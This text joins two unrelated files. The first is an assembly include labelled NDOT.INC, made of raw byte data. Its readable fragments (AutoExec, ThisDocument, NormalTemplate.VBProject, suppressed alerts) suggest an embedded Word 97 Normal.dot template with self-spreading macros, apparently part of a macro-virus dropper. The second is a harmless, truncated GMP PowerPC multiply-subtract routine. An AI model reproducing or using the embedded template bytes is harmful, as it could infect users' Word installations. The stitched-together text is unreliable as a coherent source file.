DB 0DFH,0FFH,003H,011H,022H,081H,002H,007H,022H,009H,002H,006H,000H,002H,0C5H
DB 003H,080H,003H,01CH,005H,076H,003H,00AH,00FH,032H,003H,014H,00BH,004H,004H
DB 039H,002H,005H,00FH,0FDH,007H,014H,002H,00BH,01FH,0F1H,007H,01BH,0FFH,002H
DB 000H,070H,002H,01FH,04DH,032H,0E8H,005H,013H,002H,00DH,002H,02CH,005H,006H
DB 015H,077H,01FH,0E1H,003H,00CH,00FH,004H,00FH,010H,00FH,010H,007H,010H,0FEH
DB 0CAH,001H,002H,0EEH,022H,081H,008H,000H,013H,064H,004H,016H,002H,00CH,0DFH
DB 0FFH,023H,094H,024H,0CAH,002H,00CH,053H,04DH,033H,024H,000H,002H,00CH,063H
DB 0B5H,053H,005H,003H,00CH,0B3H,015H,003H,0E8H,003H,00CH,043H,0A9H,043H,05DH
DB 003H,00CH,0DDH,0A2H,003H,030H,090H,003H,049H,002H,030H,0B3H,019H,0A0H,006H
DB 00CH,003H,018H,0C8H,003H,00CH,080H,008H,000H,003H,060H,0D8H,002H,00CH,026H
DB 03EH,004H,002H,024H,032H,055H,000H,0E0H,002H,00CH,000H,080H,009H,003H,006H
DB 002H,0DCH,012H,048H,00AH,00CH,003H,0F6H,001H,001H,012H,004H,0F0H,002H,01CH
DB 08FH,004H,004H,070H,000H,0C1H,000H,01CH,002H,013H,014H,0AFH,000H,020H,000H
DB 01EH,060H,028H,002H,028H,000H,020H,002H,002H,01DH,002H,003H,020H,000H,024H
DB 002H,005H,012H,022H,004H,012H,0F7H,000H,080H,080H,020H,000H,026H,002H,0F6H
DB 000H,0A4H,022H,0BFH,020H,000H,028H,002H,021H,000H,02AH,002H,004H,082H,009H
DB 02CH,002H,004H,02EH,002H,08BH,000H,000H,004H,018H,005H,01CH,026H,002H,007H
DB 020H,025H,000H,02CH,002H,000H,000H,001H,000H,021H,000H,030H,002H,025H,000H
DB 032H,002H,002H,000H,0AEH,000H,008H,000H,000H,0A8H,027H,043H,06FH,063H,061H
DB 069H,06EH,065H,005H,000H,094H,0A2H,020H,093H,002H,07EH,067H,032H,0A1H,08CH
DB 040H,053H,000H,007H,060H,0A3H,03BH,00CH,000H,058H,002H,02CH,00EH,000H,063H
DB 03AH,05CH,063H,005H,02EH,02EH,030H,020H,073H,079H,073H,01DH,002H,082H,009H
DB 078H,042H,040H,034H,002H,001H,000H,040H,004H,014H,042H,040H,06BH,00FH,022H
DB 0D8H,092H,0BBH,063H,092H,033H,09BH,002H,052H,013H,056H,06CH,002H,0FCH,063H
DB 083H,003H,0F2H,013H,072H,001H,0A7H,0B1H,000H,000H,000H,041H,074H,074H,072H
DB 069H,062H,075H,074H,000H,065H,020H,056H,042H,05FH,04EH,061H,081H,000H,092H
DB 0EFH,020H,03DH,020H,022H,054H,068H,072H,084H,044H,06FH,063H,075H,06DH,065H
DB 06EH,010H,000H,000H,074H,022H,00DH,00AH,00AH,08CH,042H,061H,073H,001H,002H
DB 08CH,030H,07BH,030H,030H,000H,000H,030H,032H,030H,050H,039H,030H,036H,02DH
DB 000H,010H,030H,003H,008H,043H,007H,000H,000H,000H,014H,002H,012H,001H,024H
DB 030H,030H,034H,036H,07DH,001H,00DH,07CH,043H,072H,065H,000H,000H,061H,074H
DB 061H,062H,082H,06CH,001H,086H,046H,061H,06CH,073H,065H,00CH,05EH,000H,000H
DB 000H,050H,072H,065H,064H,065H,063H,06CH,061H,089H,000H,006H,049H,064H,000H
DB 08BH,054H,000H,000H,072H,075H,00DH,022H,040H,045H,078H,070H,06FH,073H,065H
DB 014H,01CH,054H,000H,065H,000H,000H,06DH,070H,06CH,061H,074H,065H,044H,030H
DB 065H,072H,069H,076H,002H,024H,011H,065H,000H,000H,043H,075H,0C0H,073H,074H
DB 06FH,06DH,069H,07AH,004H,088H,003H,032H,000H,053H,075H,000H,000H,062H,020H
DB 041H,075H,074H,06FH,000H,045H,078H,065H,063H,028H,029H,00DH,00AH,000H,000H
DB 000H,04FH,06EH,020H,045H,072H,072H,06FH,072H,080H,020H,047H,06FH,054H,06FH
DB 020H,065H,000H,000H,000H,005H,001H,080H,055H,070H,070H,06CH,069H,063H,061H
DB 074H,080H,069H,06FH,06EH,000H,000H,02EH,044H,069H,073H,000H,035H,080H,079H
DB 041H,06CH,065H,072H,074H,073H,000H,055H,000H,000H,013H,005H,034H,008H,011H
DB 045H,06EH,081H,030H,043H,061H,06EH,040H,063H,065H,06CH,000H,000H,04BH,065H
DB 079H,000H,012H,077H,086H,064H,000H,01BH,001H,00AH,064H,00DH,00AH,046H,000H
DB 000H,080H,02DH,012H,069H,080H,009H,031H,020H,080H,02FH,04EH,06FH,072H,008H
DB 06DH,061H,000H,000H,06CH,005H,05FH,02EH,056H,042H,050H,040H,072H,06FH,06AH
DB 065H,063H,074H,080H,004H,000H,000H,043H,020H,06FH,06DH,070H,06FH,06EH,080H
DB 0C5H,073H,02EH,000H,043H,06FH,075H,06EH,000H,000H,074H,00DH,00AH,049H,044H
DB 066H,020H,0A2H,017H,028H,069H,029H,000H,019H,064H,000H,000H,004H,065H,04DH
DB 06FH,064H,075H,06CH,065H,02EH,000H,04CH,012H,0C5H,073H,028H,031H,02CH,008H
DB 040H,000H,020H,031H,029H,000H,03BH,022H,012H,0D8H,004H,063H,061H,080H,004H
DB 022H,020H,054H,068H,000H,000H,065H,002H,06EH,089H,039H,04EH,065H,078H,074H
DB 020H,069H,014H,00DH,00AH,023H,025H,000H,042H,049H,080H,027H,072H,074H,020H
DB 040H,028H,022H,013H,0D1H,083H,014H,02EH,030H,012H,0CEH,022H,000H,000H,0C0H
DB 050H,00CH,010H,053H,061H,006H,076H,040H,073H,081H,052H,03AH,00DH,00AH,045H
DB 000H,000H,06EH,024H,064H,020H,0C0H,05CH,00DH,00AH,041H,000H,0D0H,0CFH,011H
DB 0E0H,0A1H,0B1H,008H,008H,01AH,0E1H,000H,00EH,001H,03EH,000H,003H,000H,0FEH
DB 0FFH,009H,039H,05DH,000H,0CCH,061H,05EH,081H,00CH,053H,04FH,0FFH,016H,004H
DB 000H,000H,009H,002H,004H,0E4H,004H,047H,049H,003H,017H,005H,000H,002H,000H
DB 000H,0AEH,02CH,001H,02AH,000H,05CH,000H,047H,000H,07BH,042H,05BH,053H,00CH
DB 053H,048H,034H,0C2H,0EEH,046H,05CH,03EH,0F3H,020H,003H,01AH,003H,004H,02DH
DB 000H,05FH,048H,003H,016H,009H,004H,055H,048H,023H,000H,033H,000H,02EH,002H
DB 050H,023H,000H,028H,000H,039H,000H,023H,002H,032H,03AH,002H,062H,041H,000H
DB 052H,000H,051H,000H,055H,000H,049H,000H,0A8H,00AH,056H,000H,04FH,0B2H,046H
DB 020H,0B2H,05AH,045H,022H,09DH,050H,002H,018H,04FH,002H,080H,052H,000H,041H
DB 000H,05AH,055H,04DH,002H,004H,053H,00FH,02CH,004H,02CH,043H,002H,034H,04DH
DB 002H,03EH,04EH,002H,00EH,05CH,002H,028H,049H,002H,056H,052H,055H,0B5H,002H
DB 014H,053H,002H,004H,046H,0A2H,026H,020H,002H,018H,048H,002H,03EH,052H,002H
DB 0BAH,044H,002H,042H,0A5H,0B8H,05CH,002H,06CH,02AH,0BAH,042H,002H,016H,033H
DB 002H,090H,032H,002H,092H,044H,000H,04CH,002H,002H,023H,002H,016H,022H,0D0H
DB 0C2H,058H,061H,0D2H,058H,0A2H,08AH,020H,0A2H,0E2H,061H,000H,073H,0A2H,066H
DB 063H,002H,08EH,046H,0A2H,068H,072H,002H,008H,041H,000H,070H,002H,002H,098H
DB 0FAH,06CH,000H,05FH,002H,02CH,003H,042H,05FH,000H,005H,0A8H,04AH,002H,060H
DB 043H,002H,070H,01EH,079H,00FH,00FH,008H,010H,0A2H,080H,0BFH,0EAH,032H,067H
DB 033H,063H,005H,004H,008H,019H,00FH,009H,00AH,010H,01BH,002H,00CH,07AH,0B6H
DB 0ADH,064H,002H,098H,072H,002H,010H,00FH,003H,00FH,010H,0FBH,0E5H,00FH,010H
DB 007H,010H,008H,012H,0E2H,005H,07AH,005H,006H,007H,018H,00FH,008H,00BH,010H
DB 049H,002H,00DH,084H,002H,002H,005H,002H,003H,00DH,0F6H,078H,0EFH,077H,000H
DB 06DH,002H,014H,00FH,003H,00FH,010H,00BH,010H,014H,00FH,080H,00BH,01DH,00FH
DB 00CH,006H,010H,054H,002H,008H,0A3H,0D8H,002H,007H,05FH,07FH,01FH,076H,003H
DB 013H,00FH,004H,00FH,010H,00CH,010H,010H,0D2H,080H,006H,002H,012H,063H,00FH
DB 013H,002H,002H,00BH,00FH,003H,00FH,010H,022H,066H,000H,044H,0D5H,000H,052H
DB 036H,027H,069H,000H,063H,0D2H,082H,074H,012H,086H,06FH,0D2H,0EAH,073H,00CH
DB 02CH,020H,03FH,03AH,022H,0F2H,0FDH,005H,083H,082H,035H,03FH,03AH,002H,018H
DB 083H,08CH,03FH,03AH,039H,036H,003H,00AH,037H,03AH,038H,022H,0A8H,030H,000H
DB 023H,000H,034H,023H,0A2H,002H,036H,03BH,03EH,072H,000H,071H,022H,0B2H,069H
DB 000H,076H,022H,0A2H,073H,000H,020H,0F2H,094H,065H,002H,006H,0EAH,045H,050H
DB 0E4H,01CH,067H,002H,006H,061H,012H,09CH,023H,0C8H,033H,01EH,003H,0B6H,072H
DB 004H,028H,06FH,000H,066H,052H,0F3H,020H,0ADH,01AH,032H,026H,066H,002H,00AH
DB 003H,018H,065H,032H,01EH,04FH,002H,00CH,066H,002H,0D4H,063H,062H,013H,003H
DB 030H,053H,000H,057H,0ADH,056H,002H,022H,052H,032H,092H,003H,07EH,04FH,032H
DB 024H,042H,002H,082H,04DH,004H,022H,00DH,048H,057H,002H,056H,072H,002H,07CH
DB 020H,00AH,056H,000H,003H,02AH,030H,002H,082H,04FH,000H,062H,000H,06AH,002H
DB 048H,063H,05BH,020H,002H,03AH,069H,002H,010H,072H,0A7H,0FEH,012H,034H,0F3H
DB 0AEH,01BH,02FH,0B8H,000H,04FH,068H,030H,002H,0E4H,033H,002H,0E6H,099H,092H
DB 00BH,00AH,01FH,02EH,013H,024H,009H,004H,017H,02EH,0A7H,01AH,033H,0D6H,013H
DB 02EH,003H,004H,043H,000H,043H,068H,057H,042H,062H,04EH,002H,0CAH,04FH,002H
DB 0D4H,043H,04CH,053H,000H,059H,055H,0EDH,042H,01CH,054H,032H,0B8H,04DH,002H
DB 0FAH,053H,032H,0BCH,044H,002H,0ECH,04CH,002H,010H,003H,03CH,054H,002H,0B2H
DB 003H,0ECH,003H,0F4H,0D5H,005H,043H,08EH,041H,012H,064H,074H,002H,0E4H,06DH
DB 002H,0C2H,017H,0F6H,00BH,0C6H,0E0H,008H,0C6H,041H,000H,046H,000H,035H,054H
DB 0D5H,000H,031H,002H,0C4H,031H,0A2H,03CH,032H,012H,0F4H,042H,012H,014H,035H
DB 042H,06AH,02DH,002H,016H,031H,002H,082H,005H,014H,0AAH,0EDH,043H,052H,004H
DB 044H,002H,01EH,034H,002H,02AH,034H,002H,032H,003H,022H,035H,002H,00CH,007H
DB 0CCH,07DH,012H,06AH,003H,08AH,003H,0C2H,06BH,0A3H,003H,004H,00FH,0C6H,057H
DB 002H,0BEH,05CH,002H,004H,00BH,0C6H,04DH,002H,010H,045H,0AAH,06DH,000H,073H
DB 022H,030H,054H,002H,0ECH,036H,037H,044H,002H,048H,01FH,0B2H,074H,012H,0A0H
DB 009H,028H,020H,000H,005H,068H,023H,00EH,01FH,0B4H,062H,024H,042H,01DH,0B4H
DB 001H,000H,0AAH,056H,0E4H,008H,0EEH,033H,052H,070H,032H,002H,0D4H,044H,002H
DB 0F6H,038H,002H,048H,063H,008H,046H,012H,044H,037H,002H,0DAH,031H,055H,0EBH
DB 002H,0F0H,044H,004H,014H,042H,002H,026H,041H,002H,0DCH,02DH,002H,004H,003H
DB 0F0H,035H,002H,0F0H,033H,002H,004H,023H,0CCH,005H,0F0H,06FH,0DBH,00FH,0EEH
DB 00FH,0EEH,005H,0EEH,015H,0AEH,050H,012H,0B0H,053H,0C8H,045H,002H,008H,00FH
DB 0F2H,045H,092H,001H,00FH,0F2H,06FH,022H,0D6H,00FH,0F2H,007H,000H,00FH,0F2H
DB 02FH,0A6H,00FH,0F2H,000H,000H,0E1H,02EH,045H,00DH,08FH,0E0H,01AH,010H,085H
DB 02EH,002H,000H,056H,060H,08CH,04DH,00BH,0B4H,000H,000H,01CH,001H,027H,0BAH
DB 013H,002H,046H,012H,0E6H,044H,022H,0B6H,034H,055H,0D5H,002H,0ECH,02DH,002H
DB 0DCH,042H,012H,012H,041H,014H,006H,030H,012H,008H,042H,002H,00AH,042H,012H
DB 028H,045H,002H,01AH,025H,0CEH,0AEH,05FH,041H,062H,080H,003H,0FCH,013H,010H
DB 044H,012H,032H,035H,012H,02AH,01FH,006H,015H,006H,07FH,022H,07FH,022H,07BH
DB 022H,04DH,022H,0E6H,043H,0EBH,055H,074H,03AH,079H,002H,04FH,002H,08AH,046H
DB 004H,018H,013H,032H,00DH,00EH,013H,040H,04FH,022H,08AH,037H,022H,02EH,044H
DB 022H,0F4H,04CH,06FH,017H,02FH,02EH,016H,03CH,04BH,01AH,03FH,0E4H,065H,052H
DB 00CH,013H,060H,04CH,042H,018H,02FH,030H,035H,024H,001H,052H,0EEH,003H,000H
DB 004H,050H,0FFH,002H,000H,000H,006H,0A2H,07BH,008H,002H,008H,016H,0D6H,00BH
DB 003H,020H,0B2H,069H,0D6H,062H,053H,08AH,00FH,004H,00FH,010H,00FH,010H,03DH
DB 0A8H,005H,010H,000H,074H,04EH,056H,09DH,003H,055H,008H,004H,08DH,09AH,001H
DB 000H,018H,032H,0DEH,068H,002H,09EH,073H,012H,082H,02AH,000H,06FH,002H,0AEH
DB 075H,052H,014H,065H,052H,0B8H,074H,000H,00AH,000H,032H,033H,036H,064H,064H
DB 061H,008H,06FH,032H,031H,039H,092H,024H,02AH,044H,001H,011H,002H,099H,0F3H
DB 04CH,004H,040H,002H,0A9H,000H,0F3H,01AH,005H,064H,001H,0FEH,0FFH,001H,0B3H
DB 0E3H,005H,00CH,00FH,006H,00FH,010H,00FH,010H,002H,0E4H,002H,04DH,00FH,016H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,01FH,000H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,003H,010H
DB 0A3H,098H,0C6H,077H,092H,0D1H,0D2H,011H,0BCH,0A4H,044H,0BCH,006H,045H,053H
DB 082H,093H,003H,014H,023H,078H,003H,008H,060H,022H,036H,080H,002H,004H,043H
DB 01CH,01DH,000H,0FFH,000H,020H,000H,000H,028H,000H,000H,004H,004H,057H,06FH
DB 072H,064H,0B5H,06BH,010H,000H,003H,004H,056H,000H,080H,042H,041H,0F7H,0E2H
DB 010H,000H,005H,004H,057H,069H,06EH,031H,036H,0C1H,07EH,006H,00BH,010H,000H
DB 033H,032H,007H,07FH,003H,01FH,04DH,061H,063H,0B3H,0B2H,010H,000H,008H,004H
DB 050H,072H,001H,000H,0C2H,054H,074H,06FH,031H,03AH,071H,010H,000H,006H,004H
DB 073H,074H,064H,06FH,06CH,065H,000H,000H,093H,060H,010H,000H,007H,000H,04DH
DB 053H,046H,06FH,072H,06DH,073H,043H,00FH,010H,028H,010H,000H,00CH,004H,0D2H
DB 07FH,073H,0D6H,07EH,074H,03CH,09EH,010H,000H,009H,002H,07CH,0FFH,003H,004H
DB 080H,004H,000H,05FH,045H,076H,061H,06CH,075H,0D2H,02DH,018H,0D9H,003H,040H
DB 04FH,066H,066H,069H,063H,000H,043H,065H,015H,075H,010H,000H,00FH,004H,054H
DB 0D6H,047H,004H,062H,063H,074H,081H,045H,002H,055H,004H,084H,045H,04DH,0F3H
DB 0C2H,099H,06FH,031H,0D4H,012H,003H,07CH,0D3H,045H,045H,0D2H,044H,0ECH,09CH
DB 010H,002H,0BCH,065H,001H,0E3H,0D2H,042H,051H,05BH,010H,000H,00BH,000H,041H
DB 0D6H,03BH,0D2H,03AH,0A5H,02AH,010H,0F2H,0AEH,0D2H,03FH,0D2H,092H,009H,018H
DB 0D6H,03FH,0F4H,0F6H,002H,05EH,000H,045H,06EH,061H,062H,06CH,065H,0D2H,040H
DB 0D5H,03FH,0EAH,0F3H,010H,019H,000H,032H,061H,077H,064H,002H,02AH,003H,018H
DB 064H,0FCH,0D3H,010H,000H,001H,000H,069H,060H,010H,010H,038H,00DH,000H,00EH
DB 000H,0D2H,045H,0D2H,044H,007H,090H,071H,0ACH,002H,0BFH,000H,0D2H,04FH,003H
DB 0FAH,063H,074H,04FH,068H,00BH,094H,002H,0E0H,002H,00FH,043H,0D4H,053H,065H
DB 06EH,074H,073H,00AH,027H,012H,02DH,000H,0D4H,058H,030H,076H,003H,057H,0C8H
DB 024H,043H,06FH,064H,0D6H,052H,0E1H,01CH,003H,01BH,0D4H,056H,0BAH,0CEH,002H
DB 0F1H,000H,049H,0D2H,088H,072H,074H,004H,06CH,069H,0C5H,002H,0C1H,000H,053H
DB 061H,076H,065H,092H,0D0H,003H,0D9H,017H,02AH,06AH,002H,086H,032H,0E5H,001H
DB 0F6H,0BBH,001H,012H,0BDH,0E2H,095H,004H,042H,03AH,047H,08EH,013H,0C4H,005H
DB 004H,0A2H,01FH,002H,018H,002H,03FH,0B4H,005H,01DH,006H,006H,00CH,002H,01FH
DB 0A0H,0B6H,0FFH,0FFH,00EH,002H,003H,002H,02AH,011H,002H,02AH,00CH,002H,008H
DB 003H,01BH,00CH,002H,0DEH,0D3H,046H,012H,024H,00AH,003H,003H,00FH,005H,0D5H
DB 0A4H,001H,080H,0B2H,080H,001H,000H,0D2H,079H,012H,011H,030H,02AH,002H,002H
DB 090H,009H,000H,000H,000H,070H,014H,006H,048H,003H,000H,082H,002H,000H,064H
DB 0E4H,004H,004H,000H,00FH,038H,000H,000H,01CH,000H,017H,01DH,0F2H,01BH,022H
DB 010H,063H,074H,005H,051H,000H,048H,000H,000H,040H,002H,000H,000H,00AH,006H
DB 002H,00AH,03DH,0ADH,002H,00AH,007H,002H,07CH,001H,014H,008H,006H,012H,080H
DB 000H,009H,002H,012H,080H,019H,0A2H,0DDH,0F2H,0CBH,00CH,002H,04AH,012H,03CH
DB 002H,00AH,016H,028H,02CH,000H,001H,039H,022H,036H,010H,022H,037H,03EH,002H
DB 019H,073H,092H,0EAH,092H,09BH,06FH,0C2H,0D5H,065H,050H,084H,082H,000H,00DH
DB 052H,0D2H,025H,05CH,000H,003H,062H,0BCH,047H,0F5H,0A6H,0B0H,034H,033H,030H
DB 02DH,022H,076H,000H,002H,004H,043H,000H,00AH,003H,002H,00EH,001H,012H,0F4H
DB 0A5H,023H,000H,032H,02EH,030H,023H,000H,010H,030H,023H,043H,03AH,000H,05CH
DB 057H,049H,04EH,044H,04FH,057H,092H,036H,053H,059H,053H,008H,000H,054H,045H
DB 04DH,082H,077H,054H,044H,04FH,04CH,045H,032H,02EH,010H,054H,04CH,042H,023H
DB 094H,000H,000H,008H,0F2H,07AH,000H,0F2H,08BH,061H,074H,022H,01DH,023H,000H
DB 02FH,000H,001H,016H,000H,007H,040H,020H,080H,002H,04DH,053H,000H,046H,023H
DB 0ADH,03EH,000H,00EH,021H,001H,006H,084H,09BH,045H,072H,004H,000H,000H,080H
DB 083H,09BH,02FH,000H,07AH,080H,009H,006H,070H,080H,001H,001H,046H,041H,046H
DB 000H,000H,035H,031H,034H,000H,031H,036H,032H,02DH,042H,038H,035H,033H,010H
DB 02DH,031H,031H,00AH,000H,044H,0F2H,04CH,039H,092H,01BH,034H,034H,034H,035H
DB 035H,033H,035H,00EH,034H,001H,048H,017H,000H,000H,046H,004H,033H,02EH,054H
DB 057H,044H,000H,023H,04DH,069H,063H,072H,06FH,073H,06FH,000H,000H,028H,066H
DB 074H,020H,002H,03DH,020H,000H,060H,020H,04FH,002H,062H,001H,0B0H,020H,000H
DB 001H,04CH,069H,062H,072H,061H,01CH,072H,079H,062H,0CBH,001H,01EH,050H,030H
DB 000H,090H,00DH,008H,000H,000H,013H,072H,002H,05FH,050H,033H,043H,032H,044H
DB 000H,044H,046H,038H,032H,02DH,043H,000H,000H,046H,045H,032H,037H,005H,050H
DB 041H,034H,01DH,050H,080H,04AH,050H,05CH,090H,056H,000H,00AH,042H,045H,05CH
DB 085H,028H,045H,058H,0A7H,028H,078H,0DCH,000H,077H,0DDH,083H,081H,095H,043H
DB 004H,002H,078H,04FH,033H,038H,044H,078H,082H,04FH,040H,075H,0B4H,015H,042H
DB 078H,02AH,098H,0C0H,02BH,080H,040H,08EH,0C4H,02CH,032H,000H,02CH,044H,0A2H
DB 0A5H,043H,02DH,035H,042H,046H,041H,092H,0D6H,030H,000H,000H,031H,042H,02DH
DB 042H,044H,045H,052H,035H,040H,078H,041H,041H,040H,077H,034H,0C0H,000H,000H
DB 002H,032H,001H,008H,055H,041H,052H,051H,055H,049H,056H,04FH,000H,053H,020H
DB 044H,000H,020H,045H,020H,050H,052H,04FH,000H,047H,052H,041H,04DH,041H,053H
DB 05CH,072H,0A3H,043H,052H,000H,000H,04FH,053H,04FH,046H,054H,000H,020H,04FH
DB 046H,046H,049H,043H,045H,05CH,001H,084H,000H,000H,001H,04DH,053H,04FH,039H
DB 037H,02EH,044H,00CH,04CH,04CH,048H,05CH,083H,025H,020H,000H,000H,038H,02EH
DB 030H,045H,092H,05CH,00FH,082H,0BFH,001H,000H,013H,0C2H,001H,08DH,004H,010H
DB 004H,09AH,019H,042H,0A8H,034H,0EFH,000H,06FH,063H,075H,06DH,032H,011H,01AH
DB 011H,04EH,004H,032H,000H,004H,000H,018H,040H,033H,054H,000H,068H,011H,040H
DB 038H,062H,0DAH,080H,08FH,063H,000H,075H,008H,002H,051H,000H,090H,062H,0D9H
DB 040H,0B6H,01CH,0C0H,006H,062H,0F4H,048H,042H,001H,031H,0C2H,0C4H,000H,000H
DB 0EBH,000H,0DCH,01EH,08BH,042H,002H,001H,005H,02CH,042H,01AH,08FH,09AH,022H
DB 042H,000H,009H,008H,00AH,02BH,042H,001H,010H,042H,001H,025H,08AH,01AH,0E1H
DB 02FH,0A2H,03EH,000H,003H,000H,0B0H,0C6H,0FEH,0FFH,009H,000H,0D3H,020H,007H
DB 01CH,001H,002H,009H,021H,002H,004H,004H,003H,010H,000H,000H,004H,08CH,006H
DB 08BH,07FH,000H,002H,069H,07FH,05DH,002H,084H,023H,075H,002H,02EH,00FH,049H
DB 006H,049H,049H,044H,03DH,022H,07BH,037H,037H,043H,036H,000H,086H,039H,038H
DB 041H,046H,02DH,044H,031H,039H,032H,013H,0F9H,022H,004H,043H,041H,034H,02DH
DB 016H,0F9H,084H,062H,034H,030H,002H,001H,07DH,022H,00DH,00AH,037H,0BAH,03DH
DB 00BH,076H,02FH,026H,048H,002H,01FH,004H,003H,00DH,080H,003H,00AH,04EH,061H
DB 06DH,065H,03DH,022H,037H,030H,046H,0DDH,002H,03AH,048H,065H,06CH,070H,043H
DB 06FH,0A0H,000H,06EH,074H,065H,078H,074H,003H,072H,030H,002H,013H,043H,04DH
DB 047H,03DH,022H,042H,038H,042H,080H,001H,041H,032H,037H,035H,044H,032H,042H
DB 00BH,004H,002H,01EH,044H,050H,042H,03DH,022H,037H,030H,000H,003H,037H,032H
DB 045H,046H,031H,030H,046H,030H,005H,004H,002H,018H,047H,043H,03DH,022H,032H
DB 038H,000H,009H,032H,041H,042H,037H,043H,038H,042H,038H,003H,004H,033H,037H
DB 002H,017H,00DH,00AH,05BH,048H,000H,000H,06FH,073H,074H,020H,045H,078H,074H
DB 065H,06EH,064H,065H,072H,020H,049H,06EH,066H,010H,000H,06FH,05DH,00DH,00AH
DB 008H,09CH,031H,03DH,07BH,033H,038H,033H,032H,044H,036H,034H,030H,009H,000H
DB 022H,081H,039H,030H,002H,0E6H,043H,046H,02DH,038H,045H,034H,033H,02DH,030H
DB 030H,041H,030H,000H,014H,043H,039H,031H,031H,030H,030H,035H,041H,07DH,03BH
DB 022H,08EH,03BH,008H,036H,030H,00DH,00AH,003H,083H,002H,05AH,062H,038H,06BH
DB 073H,070H,061H,063H,065H,002H,051H,00BH,0FAH,03DH,032H,037H,02CH,020H,003H
DB 004H,000H,0E0H,036H,032H,033H,02CH,020H,033H,037H,035H,02CH,020H,05AH,00DH
DB 00AH,01FH,0CEH,012H,07CH,004H,003H,0A3H,091H,01FH,0CEH,003H,015H,001H,000H
DB 001H,012H,0E2H,003H,0E2H,0FDH,043H,0B0H,006H,009H,002H,003H,015H,000H,0C0H
DB 004H,006H,018H,044H,000H,046H,01DH,002H,008H,017H,073H,06FH,020H,064H,06FH
DB 020H,036H,074H,066H,074H,020H,002H,093H,064H,0BCH,02AH,020H,000H,002H,038H
DB 062H,089H,003H,00CH,002H,027H,000H,022H,00EH,000H,003H,00CH,02EH,002H,00DH
DB 075H,023H,09BH,02EH,038H,0E0H,0FFH,000H,0F4H,039H,0B2H,071H,002H,046H,008H
DB 003H,00FH,09DH,056H,02AH,003H,07EH,00FH,004H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0BFH,082H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,005H,010H,001H,0B2H,0E6H,06FH,0A2H,046H,070H,000H,04FH,000H,062H,0E2H
DB 0E8H,0EFH,0D7H,008H,0EAH,00FH,009H,00FH,010H,006H,010H,012H,0B2H,012H,005H
DB 04AH,005H,006H,006H,017H,00FH,007H,00CH,010H,05BH,002H,00EH,06FH,002H,004H
DB 00FH,003H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,007H,010H,005H,07AH,005H
DB 006H,007H,014H,00FH,008H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00BH,010H,005H,07AH,005H,006H,0FFH,01FH,00BH,018H,00FH,00CH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,007H,010H,005H,07AH,005H,006H,007H,014H
DB 00FH,008H,00FH,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
;----------------------------------(NDOT.INC)---------------------------------
|
snapgear_linux/lib/libgmp/mpn/powerpc32/submul_1.asm
|
impedimentToProgress/UCI-BlueChip
| 0 |
99662
|
<filename>snapgear_linux/lib/libgmp/mpn/powerpc32/submul_1.asm
# PowerPC-32 mpn_submul_1 -- Multiply a limb vector with a limb and subtract
# the result from a second limb vector.
# Copyright (C) 1995, 1997, 1998, 2000 Free Software Foundation, Inc.
# This file is part of the GNU MP Library.
# The GNU MP Library is free software; you can redistribute it and/or modify
# it under the terms of the GNU Library General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.
# The GNU MP Library is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public
# License for more details.
# You should have received a copy of the GNU Library General Public License
# along with the GNU MP Library; see the file COPYING.LIB. If not, write to
# the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston,
# MA 02111-1307, USA.
# INPUT PARAMETERS
# res_ptr r3
# s1_ptr r4
# size r5
# s2_limb r6
# This is optimized for the PPC604. It has not been tested on PPC601, PPC603
# or PPC750 since I don't have access to any such machines.
include(`../config.m4')
ASM_START()
PROLOGUE(mpn_submul_1)
cmpi cr0,r5,9 # more than 9 limbs?
bgt cr0,.Lbig # branch if more than 9 limbs
mtctr r5
lwz r0,0(r4)
mullw r7,r0,r6
mulhwu r10,r0,r6
lwz r9,0(r3)
subfc r8,r7,r9
addc r7,r7,r8 # invert cy (r7 is junk)
addi r3,r3,-4
bdz .Lend
.Lloop:
lwzu r0,4(r4)
stwu r8,4(r3)
mullw r8,r0,r6
adde r7,r8,r10
mulhwu r10,r0,r6
lwz r9,4(r3)
addze r10,r10
subfc r8,r7,r9
addc r7,r7,r8 # invert cy (r7 is junk)
bdnz .Lloop
.Lend: stw r8,4(r3)
addze r3,r10
blr
.Lbig: stmw r30,-32(r1)
addi r5,r5,-1
srwi r0,r5,2
mtctr r0
lwz r7,0(r4)
mullw r8,r7,r6
mulhwu r0,r7,r6
lwz r7,0(r3)
subfc r7,r8,r7
addc r8,r8,r7
stw r7,0(r3)
.LloopU:
lwz r7,4(r4)
lwz r12,8(r4)
lwz r30,12(r4)
lwzu r31,16(r4)
mullw r8,r7,r6
mullw r9,r12,r6
mullw r10,r30,r6
mullw r11,r31,r6
adde r8,r8,r0 # add cy_limb
mulhwu r0,r7,r6
lwz r7,4(r3)
adde r9,r9,r0
mulhwu r0,r12,r6
lwz r12,8(r3)
adde r10,r10,r0
mulhwu r0,r30,r6
lwz r30,12(r3)
adde r11,r11,r0
mulhwu r0,r31,r6
lwz r31,16(r3)
addze r0,r0 # new cy_limb
subfc r7,r8,r7
stw r7,4(r3)
subfe r12,r9,r12
stw r12,8(r3)
subfe r30,r10,r30
stw r30,12(r3)
subfe r31,r11,r31
stwu r31,16(r3)
subfe r11,r11,r11 # invert ...
addic r11,r11,1 # ... carry
bdnz .LloopU
andi. r31,r5,3
mtctr r31
beq cr0,.Lendx
.LloopE:
lwzu r7,4(r4)
mullw r8,r7,r6
adde r8,r8,r0 # add cy_limb
mulhwu r0,r7,r6
lwz r7,4(r3)
addze r0,r0 # new cy_limb
subfc r7,r8,r7
addc r8,r8,r7
stwu r7,4(r3)
bdnz .LloopE
.Lendx:
addze r3,r0
lmw r30,-32(r1)
